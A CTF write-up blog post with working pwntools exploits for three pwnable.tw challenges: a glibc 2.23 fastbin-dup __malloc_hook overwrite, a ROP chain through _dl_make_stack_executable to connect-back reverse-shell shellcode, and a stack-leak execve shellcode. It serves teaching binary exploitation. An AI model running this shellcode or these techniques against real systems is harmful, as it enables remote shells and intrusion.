0x3 - Learn CTF: Binary Exploitation

Table of Contents


Secret Garden — fastbin dup + __malloc_hook overwrite (glibc 2.23)

Summary

  • Category: Pwn / Heap Exploitation
  • Challenge: pwnable.tw - secretgarden
  • Binary: secretgarden
  • Libc: libc_64.so.6 (Ubuntu GLIBC 2.23)
  • Protections: RELRO + Canary + NX + PIE
  • Flag:
FLAG{FastBiN_C0rruption_t0_BUrN_7H3_G4rd3n}

Bug and primitive

The program stores flower objects in a global array. Each flower has a heap-allocated name pointer.

The bug is in remove flower:

  • it frees name,
  • but does not null the pointer,
  • and does not prevent freeing the same slot again.

That gives us:

  1. double-free primitive on fastbin chunks,
  2. UAF read path via garden listing.

Exploit plan

  1. Leak libc via unsorted-bin metadata (main_arena pointer).
  2. Use fastbin dup (A-B-A) to poison freelist for size 0x70 class.
  3. Return chunk near __malloc_hook - 0x23 (classic glibc 2.23 bypass for fastbin size checks).
  4. Overwrite __malloc_hook with one_gadget (0xef6c4).
  5. Trigger allocator error path (double free or corruption (fasttop)) to jump via hook.

Why -0x23?

If we point directly at __malloc_hook, allocator consistency checks fail. Targeting __malloc_hook - 0x23 makes the fake chunk layout pass the size/index checks, then payload alignment lands exactly on __malloc_hook.

Repro exploit (local/remote)

#!/usr/bin/env python3
from pwn import *

context.binary = ELF('./secretgarden', checksec=False)
libc = ELF('./libc_64.so.6', checksec=False)

HOST, PORT = 'chall.pwnable.tw', 10203

class App:
    def __init__(self, io):
        self.io = io

    def intro(self):
        self.io.recvuntil(b'Your choice : ')

    def raise_flower(self, length, name, color):
        self.io.sendline(b'1')
        self.io.recvuntil(b'Length of the name :')
        self.io.sendline(str(length).encode())
        self.io.recvuntil(b'The name of flower :')
        self.io.send(name)
        self.io.recvuntil(b'The color of the flower :')
        self.io.sendline(color)
        self.io.recvuntil(b'Your choice : ')

    def visit(self):
        self.io.sendline(b'2')
        return self.io.recvuntil(b'Your choice : ')

    def remove(self, idx, wait_menu=True):
        self.io.sendline(b'3')
        self.io.recvuntil(b'Which flower do you want to remove from the garden:')
        self.io.sendline(str(idx).encode())
        if wait_menu:
            self.io.recvuntil(b'Your choice : ')


def start(local=False):
    if local:
        return process(['./ld-2.23.so', '--library-path', '.', './secretgarden'])
    return remote(HOST, PORT)


def leak_libc_base(app):
    app.raise_flower(500, b'AAAAAAAAAAAAAAAA', b'AAAAAAAAAAAAAAAA')  # 0
    app.raise_flower(100, b'CCCCCCCCCCCCCCCC', b'CCCCCCCCCCCCCCCC')  # 1
    app.raise_flower(500, b'BBBBBBBBBBBBBBBB', b'BBBBBBBBBBBBBBBB')  # 2
    app.raise_flower(500, b'BBBBBBBBBBBBBBBB', b'BBBBBBBBBBBBBBBB')  # 3

    app.remove(2)
    app.raise_flower(400, b'AAAAAAAA', b'AAAAAAAA')                   # 4

    gd = app.visit()
    st = gd.find(b'flower[4] :AAAAAAAA')
    if st == -1:
        raise RuntimeError('leak marker not found')
    st += len(b'flower[4] :AAAAAAAA')

    arena = u64(gd[st:st + 6] + b'\x00\x00')
    base = arena - 0x3c3b78
    return base


def stage_write(app, write_addr, write_val, bin_size=100):
    app.raise_flower(bin_size, b'AAAAA', b'BBBBB')  # 5
    app.raise_flower(bin_size, b'AAAAA', b'BBBBB')  # 6

    app.remove(5)
    app.remove(6)
    app.remove(5)

    app.raise_flower(bin_size, p64(write_addr), b'BBBBB')
    app.raise_flower(bin_size, b'junk', b'BBBBB')
    app.raise_flower(bin_size, b'junk', b'BBBBB')
    app.raise_flower(bin_size, write_val, b'BBBBB')


def exploit(local=False):
    io = start(local=local)
    app = App(io)
    app.intro()

    libc_base = leak_libc_base(app)
    libc.address = libc_base

    malloc_hook = libc.sym['__malloc_hook'] - 0x23
    one = libc_base + 0xef6c4

    stage_write(app, malloc_hook, b'\x41' * 0x13 + p64(one), 100)

    # trigger via malloc_printerr fasttop path
    app.remove(9, wait_menu=True)
    app.remove(9, wait_menu=False)

    if local:
        io.sendline(b'echo PWNED')
    else:
        io.sendline(b'cat /home/secretgarden/flag')

    print(io.recvrepeat(1.5).decode(errors='ignore'))
    io.interactive()

if __name__ == '__main__':
    exploit(local=False)

Verification

Remote run returned:

FLAG{FastBiN_C0rruption_t0_BUrN_7H3_G4rd3n}

Notes

  • This challenge is glibc 2.23 (no tcache), so fastbin behavior is central.
  • Heap choreography (allocation/free order and indices) matters a lot for reliability.
  • Using matching loader/libc (ld-2.23.so + libc_64.so.6) is important for local reproduction.

Kidding — stack overflow + _dl_make_stack_executable route

Summary

  • Category: Pwn / Stack Overflow / ROP
  • Challenge: pwnable.tw - kidding
  • Binary: kidding (i386, statically linked)
  • Protections: NX enabled, No PIE, No canary
  • Flag:
FLAG{Ar3_y0u_k1dd1ng_m3}

Vulnerability

The program reads 100 bytes into a small local stack buffer:

  • read(0, buf, 0x64)

This yields direct EIP control.

  • Offset to EIP: 12

Why generic staged ROP was unstable here

A generic mprotect + read(stage2) + jmp path is fragile in this challenge because stdio (0/1/2) gets closed and post-read channel assumptions become brittle.

The stable challenge-native route is:

  1. force stack executable via linker internals,
  2. jump into inline shellcode,
  3. shellcode creates a new socket channel (connect-back).

Exploit plan (native)

  1. Write 7 into __stack_prot
  2. Load eax = __libc_stack_end
  3. Call _dl_make_stack_executable
  4. call esp to execute shellcode directly on stack
  5. Shellcode does: socket -> dup2 -> connect -> execve('/bin/sh')

Key addresses used:

  • __libc_stack_end = 0x080e9fc8
  • __stack_prot = 0x080e9fec
  • _dl_make_stack_executable = 0x0809a080
  • pop ecx; ret = 0x080583c9
  • pop dword ptr [ecx]; ret = 0x0804b5eb
  • pop eax; ret = 0x080b8536
  • call esp = 0x080c99b0

Repro exploit (complete)

#!/usr/bin/env python3
from pwn import *
import socket, struct

context.binary = elf = ELF('./kidding', checksec=False)
context.arch = 'i386'

HOST, PORT = 'chall.pwnable.tw', 10303

POP_ECX = 0x080583c9
POP_PTR_ECX = 0x0804b5eb
POP_EAX = 0x080b8536
STACK_PROT = 0x080e9fec
LIBC_STACK_END = 0x080e9fc8
DL_MAKE_STACK_EXEC = 0x0809a080
CALL_ESP = 0x080c99b0


def ip_word(ip: str) -> int:
    return struct.unpack('<I', socket.inet_aton(ip))[0]


def build_shellcode() -> bytes:
    s = b''
    # socket(AF_INET, SOCK_STREAM, 0)
    s += asm('push 1; pop ebx; cdq; mov al,0x66; push edx; push ebx; push 2; mov ecx,esp; int 0x80')
    # dup2(sockfd, 1)
    s += asm('xchg ebx,eax; pop esi; pop ecx; mov al,0x3f; int 0x80')
    # connect(sockfd, {AF_INET, 0x6600, ip_in_ebp}, 16)
    s += asm('push ebp; mov al,0x66; push ax; push si; mov ecx,esp; push ds; push ecx; push ebx; mov ecx,esp; mov bl,3; int 0x80')
    # execve('/bin/sh', 0, 0)
    s += asm('mov al,0xb; pop ecx; push 0x68732f; push 0x6e69622f; mov ebx,esp; int 0x80')
    return s


def build_payload(lhost: str) -> bytes:
    shell = build_shellcode()
    payload = b'A' * 8
    payload += p32(ip_word(lhost))
    payload += p32(POP_ECX) + p32(STACK_PROT)
    payload += p32(POP_PTR_ECX) + p32(7)
    payload += p32(POP_EAX) + p32(LIBC_STACK_END)
    payload += p32(DL_MAKE_STACK_EXEC)
    payload += p32(CALL_ESP)
    payload += shell
    assert len(payload) <= 100
    return payload


def run_local(lhost='127.0.0.1'):
    listener = listen(0x6600)
    io = process('./kidding')
    io.send(build_payload(lhost))
    sh = listener.wait_for_connection()
    sh.sendline(b'id')
    sh.sendline(b'echo PWNED')
    sh.interactive()


def run_remote(lhost):
    listener = listen(0x6600)
    io = remote(HOST, PORT)
    io.send(build_payload(lhost))
    io.close()
    sh = listener.wait_for_connection()
    sh.interactive()


if __name__ == '__main__':
    import argparse
    p = argparse.ArgumentParser()
    p.add_argument('--remote', action='store_true')
    p.add_argument('--lhost', default='127.0.0.1')
    args = p.parse_args()

    if args.remote:
        run_remote(args.lhost)
    else:
        run_local(args.lhost)

Remote exploit run

This exploit is connect-back style, so you must provide a reachable public callback IP.

# on attacker machine
python3 exploit_native.py --remote --lhost <YOUR_PUBLIC_IP>

If callback succeeds, you get a shell from remote service.

Remote flag retrieval

After reverse shell lands:

cd /home/flag
./get_flag
# prompt: where is your flag :
./I_am_fl4g

Output:

FLAG{Ar3_y0u_k1dd1ng_m3}

Start — stack BOF leak + stack shellcode

Summary

  • Category: Pwn / Stack Buffer Overflow
  • Challenge: pwnable.tw - start
  • Binary: start (i386, static)
  • Protections: No RELRO, No Canary, NX disabled, No PIE
  • Flag:
FLAG{Pwn4bl3_tW_1s_y0ur_st4rt}

Vulnerability

At _start, the binary does:

  1. write(1, esp, 0x14) (prints banner bytes from stack)
  2. read(0, esp, 0x3c)
  3. add esp, 0x14; ret

So we control return address with offset 20 bytes.

Exploit plan

  1. Stage-1 leak

    • overwrite RET with 0x8048087 (mov ecx, esp; ... write) so program leaks 20 stack bytes.
    • first 4 leaked bytes provide stack pointer anchor (leak).
  2. Stage-2 shellcode jump

    • send: b'A'*20 + p32(leak+20) + shellcode
    • why leak+20:
      • stage-2 buffer starts at (leak-4)
      • shellcode starts at buffer offset 24
      • target address = (leak-4)+24 = leak+20
  3. Get shell and read flag

    • run cat /home/start/flag

Repro exploit

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./start', checksec=False)
context.arch = 'i386'

HOST, PORT = 'chall.pwnable.tw', 10000
LEAK_GADGET = 0x08048087


def build_stage1():
    return b'A' * 20 + p32(LEAK_GADGET)


def build_stage2(leak_esp: int):
    # leak_esp is [esp] after stage-1 jump.
    # stage-2 read buffer starts at leak_esp - 4.
    # shellcode lands at buffer+24 => leak_esp + 20.
    sc = (
        b"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
        b"\x68\x2f\x62\x69\x6e\x89\xe3\x31"
        b"\xc9\x31\xd2\xb0\x0b\xcd\x80"
    )
    return b'A' * 20 + p32(leak_esp + 20) + sc


def solve(io):
    io.recvuntil(b"Let's start the CTF:")
    io.send(build_stage1())
    leaked20 = io.recvn(20)
    leak = u32(leaked20[:4])
    log.success(f'leaked esp = {hex(leak)}')
    io.send(build_stage2(leak))
    return io


def verify_shell(io, tries=3):
    marker = b'__PWNED__'
    for _ in range(tries):
        io.sendline(b'echo ' + marker)
        out = io.recvrepeat(0.7)
        if marker in out:
            return True
    return False


def run_remote(max_attempts=10):
    for i in range(1, max_attempts + 1):
        io = remote(HOST, PORT)
        sh = solve(io)
        if not verify_shell(sh):
            log.warning(f'attempt {i}/{max_attempts}: no shell marker, retrying')
            sh.close()
            continue
        sh.sendline(b'cat /home/start/flag')
        print(sh.recvrepeat(1.0).decode(errors='ignore'))
        sh.interactive()
        return
    log.failure('remote attempts exhausted without shell')


if __name__ == '__main__':
    run_remote()

Verification

Remote run returned:

FLAG{Pwn4bl3_tW_1s_y0ur_st4rt}
 

Zero

CTF notes by Zero


Binary exploitation notes with reproducible local-first exploitation and remote flag retrieval.

By Zero, 2026-02-24


Tags

#ctf #learn #pwn